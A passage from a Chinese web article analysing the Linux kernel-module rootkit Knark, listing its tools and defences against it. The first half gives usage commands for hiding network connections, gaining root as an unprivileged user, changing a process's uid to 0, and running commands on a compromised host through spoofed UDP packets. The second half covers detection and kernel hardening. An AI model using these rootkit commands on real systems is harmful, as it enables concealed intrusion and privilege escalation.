Rootkit入侵工具Knark分析及防范
2008-01-11 13:12:19 来源:WEB开发网你必需理解使用该程序从/proc/net/[tcp udp]得到的输出的意义。假设系统运行有sshd,那么连接到本地22端口以后,运行"netstat -at",则输出可能包含:
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED
现在我们来检测文件/proc/net/tcp:
cat /proc/net/tcp
则输出可能包含入下内容:
local_address rem_address blablabla...
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000
若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。因此
./nethide "0100007F:0016"
将隐藏to/from localhost:22相关的链接信息。
./nethide ":ABCD "
来去除隐藏。
rootme 用来实现非特权用户获得root访问权限
./rootme /bin/sh
就可以实现以root身份运行/bin/sh。
./rootme /bin/ls -l /root
则是仅仅以root身份运行单个命令。
taskhack 用来改变某个运行着的进程的uid和gid
./taskhack -alluid=0 pid
该命令将进程pid的所有*uid's (uid, euid, suid, fsuid)为0 (root).
ps aux grep bash
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
现在来改变该进程的euid为0:
./taskhack -euid=0 91
ps aux grep bash
root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
rexec 用来远程执行knark-server的命令:
./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER
这命令将从www.microsoft.com:53发送一个伪装的udp数据包到 haxored.server.nu:53,来运行haxored.server.nu的命令"/bin/touch /LUDER"
入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等。
检测系统是否被安装了Knark
Knark的作者Creed,发布了一个工具:knarkfinder.c来发现Knark隐藏的进程。
检查系统是否安装有Knark的最直接有效的方法是以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此入股系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。
还有一个最有效的发现系统是否被knark或者类似的rootkit所感染的方法就是使用kstat来检测,具体参考本站的Nexeon写的解决方案文章:检测LKM rootkit。
Knark防范
防止knark最有效的方法是阻止入侵者获得root权限。但是在使用一切常规的方法进行安全防范以后,防止knark之类的基于LKM技术的rootkit的方法是:
*创建和使用不支持可加载模块的内核,也就是使用单块内核。这样knark就不能插入到内核中去了。
*使用lcap (http://pweb.netcom.com/~spoon/lcap/)实现系统启动结束以后移除内核LKM功能,这样可以防止入侵者加载模块。然而这种方法存在一定的问题,入侵者可以在获得root权限以后修改启动脚本,在lcap启动之前来加载knark模块从而逃避lcap的限制。
更多精彩
赞助商链接